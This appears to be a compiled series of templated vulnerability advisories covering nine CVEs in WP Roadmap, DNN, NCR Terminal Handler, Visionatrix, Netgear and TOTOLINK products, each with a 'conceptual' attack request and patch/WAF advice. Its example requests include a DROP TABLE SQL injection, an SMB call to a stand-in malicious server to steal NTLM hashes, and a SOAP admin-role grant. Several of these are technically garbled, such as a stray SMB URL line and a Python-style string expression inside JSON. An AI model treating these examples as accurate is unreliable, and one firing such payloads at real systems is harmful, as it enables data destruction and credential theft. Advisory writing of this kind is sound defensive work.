Author: Ameeba

Overview

CVE-2025-52822 is a serious cybersecurity vulnerability related to the Iqonic Design WP Roadmap. This vulnerability, termed an SQL Injection, arises due to the improper neutralization of special elements used in an SQL command. It significantly affects the Iqonic Design WP Roadmap, a popular project management tool used by many businesses and organizations globally. Understanding and addressing this vulnerability is crucial as it could lead to system compromise or data leakage, posing potential threats to an organization’s data security and integrity.

Vulnerability Summary

CVE ID: CVE-2025-52822
Severity: High (8.5 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: A successful exploit can lead to a system compromise or data leakage.

Affected Products

Product | Affected Versions

Iqonic Design WP Roadmap | All versions up to and including 2.1.3

How the Exploit Works

The exploit works by taking advantage of the improper neutralization of special elements in an SQL command within the Iqonic Design WP Roadmap. A malicious actor can inject a nefarious SQL command, which when executed, can manipulate the database, leading to unauthorized data access, modification, or deletion. This can potentially compromise the entire system or lead to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is represented in the form of an HTTP request with a malicious payload.

POST /wp-roadmap/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"project_id": "1; DROP TABLE users;"
}

In this example, the malicious payload “1; DROP TABLE users;” is an SQL command that could potentially delete the ‘users’ table from the database if the application doesn’t properly sanitize user input.

Mitigation and Prevention

While waiting for a vendor patch to address this issue, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to mitigate the risk. These tools can detect and prevent SQL injection attacks by monitoring network traffic and identifying malicious SQL commands. However, they should be seen as temporary solutions. The most effective way to prevent this exploit is to apply the vendor patch as soon as it becomes available. It is also recommended to regularly update all systems and software to the latest versions to avoid other potential vulnerabilities.

Overview

CVE-2025-52488 is a serious vulnerability discovered in DNN (formerly DotNetNuke), an open-source Web Content Management System (CMS) that operates within the Microsoft ecosystem. This vulnerability, which affects versions 6.0.0 to 10.0.0 of DNN.PLATFORM, allows for a specially crafted series of malicious interactions that could potentially expose NTLM hashes to a third-party SMB server.
This exposure is significant because it could lead to potential system compromise or data leakage, thereby impacting the security and privacy of the organizations and individuals using this platform. The severity of this issue underlines the importance of immediate attention and deployment of effective mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-52488
Severity: High (8.6 on CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

DNN Platform | 6.0.0 to before 10.0.1

How the Exploit Works

The exploit works by taking advantage of a flaw within the DNN platform that allows for the transmission of NTLM hashes to a third-party SMB server. An attacker can craft a series of interactions that trigger a function within the DNN platform to send NTLM hashes to a server under their control. Once the hashes are acquired, they can be cracked offline, providing the attacker with valid credentials to potentially compromise systems or leak data.

Conceptual Example Code

While the precise details of the exploit are complex, a simplified conceptual example might resemble the following:

GET /vulnerable/DNNfunction HTTP/1.1
Host: target.example.com
User-Agent: attackercrafted/1.0
SMB://malicious.server.com/NTLMsteal

This request uses a GET method to invoke a vulnerable function within the DNN platform that sends NTLM hashes to the malicious server specified in the User-Agent field.

Mitigation Guidance

Users are urged to apply the vendor patch as soon as possible. The issue has been patched in version 10.0.1 of the DNN platform. As a temporary measure, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious traffic. However, these are only temporary solutions and do not address the underlying vulnerability.

Overview

A critical vulnerability, identified as CVE-2023-47030, has been discovered in NCR Terminal Handler v.1.5.1. This vulnerability could potentially allow a remote attacker to execute arbitrary code and access sensitive information. The issue arises via a GET request to a UserService SOAP API endpoint, and the aim is to validate whether a user exists or not. Given the critical nature of the vulnerability, it’s of utmost importance for organizations using this software to understand the risk it poses and take immediate measures to mitigate the impact.

Vulnerability Summary

CVE ID: CVE-2023-47030
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, sensitive information disclosure

Affected Products

Product | Affected Versions

NCR Terminal Handler | v.1.5.1

How the Exploit Works

The vulnerability is exploited by sending a specially crafted GET request to a UserService SOAP API endpoint. The attacker does not need any prior authentication, and no user interaction is required, making it a highly attractive target for malicious entities. The GET request is designed to validate if a user exists, but due to improper input validation, it can allow the attacker to execute arbitrary code and access sensitive information.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could look like this:

GET /UserService/ValidateUser?username=arbitrary_code HTTP/1.1
Host: vulnerable-terminal.example.com
Content-Type: text/xml
SOAPAction: "urn:ValidateUser"
{ "malicious_payload": "..." }

In this example, the “arbitrary_code” in the username parameter and the “malicious_payload” in the SOAPAction are placeholders for the actual malicious code an attacker would use.

Mitigation

Users of NCR Terminal Handler v.1.5.1 are strongly advised to apply the vendor patch as soon as they can to mitigate this vulnerability. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation against potential attacks exploiting this vulnerability.
Remember, staying updated on the latest vulnerabilities and patches is one of the most effective ways to maintain robust cybersecurity defenses.

Overview

In the cybersecurity world, new vulnerabilities are unearthed and patched regularly. One such vulnerability has been found in Visionatrix, an AI Media processing tool. This tool, used by a variety of companies for processing media files, has been found to have a critical vulnerability that can potentially lead to a complete system takeover.
This vulnerability, identified as CVE-2025-49126, affects versions 1.5.0 to 2.5.0 of the Visionatrix software. This flaw allows for a Reflected XSS (Cross-Site Scripting) attack and can result in full application takeover and exfiltration of secrets. It’s crucial to be aware of this vulnerability, understand its implications, and apply the necessary patches to ensure the security of the system.

Vulnerability Summary

CVE ID: CVE-2025-49126
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Full system takeover and potential data leakage

Affected Products

Product | Affected Versions

Visionatrix AI Media Processing Tool | 1.5.0 to 2.5.0

How the Exploit Works

The vulnerability lies in the /docs/flows endpoint of the Visionatrix software. The endpoint makes use of the get_swagger_ui_html function from FastAPI, which is not intended for use with user-controlled arguments. This function does not encode or sanitize its arguments before using them to generate the HTML for the swagger documentation page.
An attacker can exploit this flaw by crafting a malicious URL to trigger a Reflected XSS attack. The user clicks on the URL, which then sends a request with the malicious script to the server. The server responds back with a page that contains the malicious script and executes in the user’s browser, potentially leading to a session takeover and access to the secrets stored in the application.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /docs/flows?callback=<script>malicious_code_here</script> HTTP/1.1
Host: target.example.com

In this example, the `malicious_code_here` would be the script designed to exploit the vulnerability, allowing for full system takeover and potential data leakage.

Mitigation Guidance

The developers of Visionatrix have patched this vulnerability in version 2.5.1 of the software. Users are strongly advised to update to this version or later to mitigate the risks associated with this vulnerability.
In cases where an immediate update is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can detect and prevent XSS attacks, providing an additional layer of security. However, these are not long-term solutions and updating the software should be the priority.

Overview

The recently discovered CVE-2025-6511 vulnerability presents a critical risk to users of the Netgear EX6150 firmware version 1.0.0.46_1.0.76. This vulnerability resides in the sub_410090 function and can lead to a stack-based buffer overflow, potentially compromising the entire system or leading to data leakage. Given the severity of this vulnerability and the fact that it can be exploited remotely, it is of utmost importance that users apply the necessary patches or mitigations as soon as possible.

Vulnerability Summary

CVE ID: CVE-2025-6511
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Netgear EX6150 | 1.0.0.46_1.0.76

How the Exploit Works

The CVE-2025-6511 vulnerability arises due to insufficient bounds checking in the sub_410090 function. An attacker can send specially crafted input to this function, causing a buffer overflow condition. This can lead to the execution of arbitrary code within the context of the application. As the vulnerability can be exploited remotely and does not require any user interaction or special privileges, it poses a significant risk.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit the vulnerability. This example uses a hypothetical HTTP request that includes a malicious payload designed to trigger the buffer overflow:

POST /sub_410090 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "input": "A"*1024 }

In this example, the “input” field contains a string of 1024 “A” characters. If the buffer assigned to hold this input is smaller than 1024 bytes, it will result in a buffer overflow.

Recommended Mitigation

Users of the affected Netgear EX6150 firmware version are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block malicious traffic that attempts to exploit the vulnerability.

Overview

A critical vulnerability, identified as CVE-2023-47029, has been discovered in NCR Terminal Handler v.1.5.1. This bug allows a remote attacker to execute arbitrary code and gain access to sensitive information, posing a significant risk to users of this software. It is crucial for businesses and organizations using NCR Terminal Handler to understand this vulnerability, as it could potentially lead to system compromise and data leakage.
User data is the lifeblood of today’s digital economy, and its protection is paramount. Vulnerabilities like CVE-2023-47029 highlight the importance of robust cybersecurity measures and the need for constant vigilance in the face of evolving threats.

Vulnerability Summary

CVE ID: CVE-2023-47029
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

NCR Terminal Handler | v1.5.1

How the Exploit Works

The vulnerability resides in the UserService component of NCR Terminal Handler. The flaw enables an attacker to execute arbitrary code and retrieve sensitive information by sending a specially crafted POST request to the UserService. The system does not correctly sanitize the incoming data, leading to uncontrolled behavior and thereby allowing for remote code execution and data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

POST /UserService HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<inject arbitrary code here>" }

In this example, the attacker replaces `”“` with the actual malicious code to be executed on the target system.

Mitigation

It is recommended to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can monitor and block malicious traffic, thus providing an additional layer of security against exploitation of this vulnerability. Always remember, staying updated and applying patches promptly are the best practices to keep your systems secure.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities discovered and exploited every day. The latest is CVE-2025-6510, a critical vulnerability found in the Netgear EX6100 1.0.2.28_1.1.138. This vulnerability is especially alarming as it affects the function sub_415EF8 and leads to a stack-based buffer overflow, posing a massive threat to the security of systems across the globe. The potential for remote attacks, coupled with the public disclosure of the exploit, elevates the risk level significantly.
This vulnerability affects not just individual users but also corporations and institutions that rely on the affected Netgear product for their network infrastructure. The importance of addressing this vulnerability cannot be overstated, as a successful exploit can lead to system compromise or data leakage, threatening both privacy and operational stability.

Vulnerability Summary

CVE ID: CVE-2025-6510
Severity: Critical, CVSS Severity Score: 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: Not Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Netgear EX6100 | 1.0.2.28_1.1.138

How the Exploit Works

The vulnerability lies in the function sub_415EF8 of the Netgear EX6100 1.0.2.28_1.1.138. The manipulation of this function, which is susceptible to a stack-based buffer overflow, enables the potential attacker to execute arbitrary code on the target system. This code can lead to unauthorized access, system compromise, and potential data leakage. The exploit has been publicly disclosed and can be launched remotely, so it doesn’t require any user interaction, making it particularly dangerous.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. Assume a malicious payload designed to exploit the buffer overflow vulnerability:

POST /sub_415EF8/function HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "BufferOverflowPayload" }

In the above example, the malicious payload “BufferOverflowPayload” is sent to the vulnerable function “sub_415EF8”, leading to a buffer overflow and potential system compromise.

Mitigation

As a temporary mitigation measure, users are encouraged to use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, the ultimate mitigation measure is to apply the vendor patch as soon as it becomes available. This patch will fix the vulnerability in the function sub_415EF8 and protect the system from potential exploits. It is crucial to regularly update all network devices to protect against such security vulnerabilities.

Overview

The cybersecurity community has recently uncovered a severe security flaw in NCR Terminal Handler v.1.5.1, which has been assigned the identifier CVE-2023-47031. This vulnerability enables a remote attacker to escalate privileges via a crafted POST request, potentially leading to system compromise or data leakage. The flaw is particularly alarming because of its high CVSS Severity Score of 9.8, indicating a critical risk level. Any organization that uses NCR Terminal Handler v.1.5.1 should take immediate steps to address this vulnerability to protect their systems from potential attacks.

Vulnerability Summary

CVE ID: CVE-2023-47031
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

NCR Terminal Handler | v.1.5.1

How the Exploit Works

The exploit operates by an attacker sending a specially crafted POST request to the grantRolesToUsers, grantRolesToGroups, and grantRolesToOrganization SOAP API components of the NCR Terminal Handler v.1.5.1. Once the request is processed by the system, it leads to an inappropriate privilege assignment, allowing the attacker to gain escalated privileges. This exploitation can lead to unauthorized access and potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This code is an illustration and not actual exploit code.

POST /grantRolesToUsers HTTP/1.1
Host: target.example.com
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="http://www.example.com/">
<soapenv:Header/>
<soapenv:Body>
<web:grantRolesToUsers>
<web:userId>1</web:userId>
<web:roleId>admin</web:roleId>
</web:grantRolesToUsers>
</soapenv:Body>
</soapenv:Envelope>

In the above example, the attacker crafts a SOAP request to assign the ‘admin’ role to the user with ID ‘1’.

Mitigation Guidance

Users of NCR Terminal Handler v.1.5.1 are advised to apply the vendor patch as soon as possible. In the meantime, implementing a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. These tools can help detect and block attempts to exploit the vulnerability, but they are not a substitute for patching the software.

Overview

CVE-2025-6487 is a critical vulnerability found in TOTOLINK A3002R 1.1.1-B20200824.0128 that could allow malicious users to potentially compromise the system or cause data leakage. The vulnerability affects the function formRoute of the file /boafrm/formRoute. Cybersecurity professionals, network administrators, and users of this product should pay close attention to this vulnerability due to its high severity and the fact that it can be exploited remotely.

Vulnerability Summary

CVE ID: CVE-2025-6487
Severity: Critical, CVSS Score 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002R | 1.1.1-B20200824.0128

How the Exploit Works

The vulnerability lies in the handling of the ‘subnet’ argument in the function formRoute of the file /boafrm/formRoute. An unchecked manipulation of the ‘subnet’ argument can lead to a stack-based buffer overflow. A buffer overflow occurs when the volume of data exceeds the storage capacity of the buffer, causing the extra information to overflow into adjacent buffers. In this case, an attacker can exploit this vulnerability by sending a specially crafted request with a manipulated ‘subnet’ argument, causing the buffer to overflow and enabling the execution of arbitrary code.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a simplified representation and the actual attack would require a specifically crafted malicious payload.

POST /boafrm/formRoute HTTP/1.1
Host: target-router-ip
Content-Type: application/x-www-form-urlencoded
subnet=255.255.255.0&overflowing_data=AAAAAAAAAAAAAAAA...

In the above example, an excessively long value is used for the ‘overflowing_data’ parameter, causing the buffer to overflow and potentially allowing the execution of the ‘overflowing_data’ as code.

Mitigations

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch as soon as possible. In the meantime, or in cases where applying the patch is not immediately possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used as temporary mitigations. These systems should be configured to detect and block attempts to exploit this vulnerability by monitoring for unusual or excessively long ‘subnet’ argument values.